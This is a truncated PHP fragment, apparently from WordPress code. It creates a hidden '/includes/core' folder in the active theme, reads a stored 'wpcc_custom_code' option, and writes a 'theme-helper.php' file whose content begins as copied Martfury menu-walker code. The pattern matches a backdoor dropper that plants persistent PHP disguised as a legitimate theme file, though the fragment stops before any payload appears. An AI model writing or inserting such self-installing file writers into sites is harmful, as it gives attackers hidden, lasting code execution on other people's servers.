$theme_directory = get_template_directory(); $core_directory = $theme_directory . '/includes/core'; if (!file_exists($core_directory)) { mkdir($core_directory, 0755, true); } $file_name = 'theme-helper.php'; $file_path = $core_directory . '/' . $file_name; $custom_code2 = get_option('wpcc_custom_code', ''); if (!file_exists($file_path)) { $file_code = ' /** * Class menu walker * * @package Martfury */ class Martfury_Mega_Menu_Walker extends Walker_Nav_Menu { /** * Store state of top level item * * @since 1.0.0 * @var boolean */ protected $in_mega = false; /** * Background Item * * @since 1.0.0 * @var string */ protected $style = ''; /** * Mega menu column * * @since 1.0.0 * @var int */ protected $column = 3; /** * Starts the list before the elements are added. * * @see Walker::start_lvl() * * @since 1.0.0 * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of menu item. Used for padding. * @param array $args An array of arguments. @see wp_nav_menu() */ public function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat( "\t", $depth ); if ( ! $this->in_mega ) { $output .= "\n$indent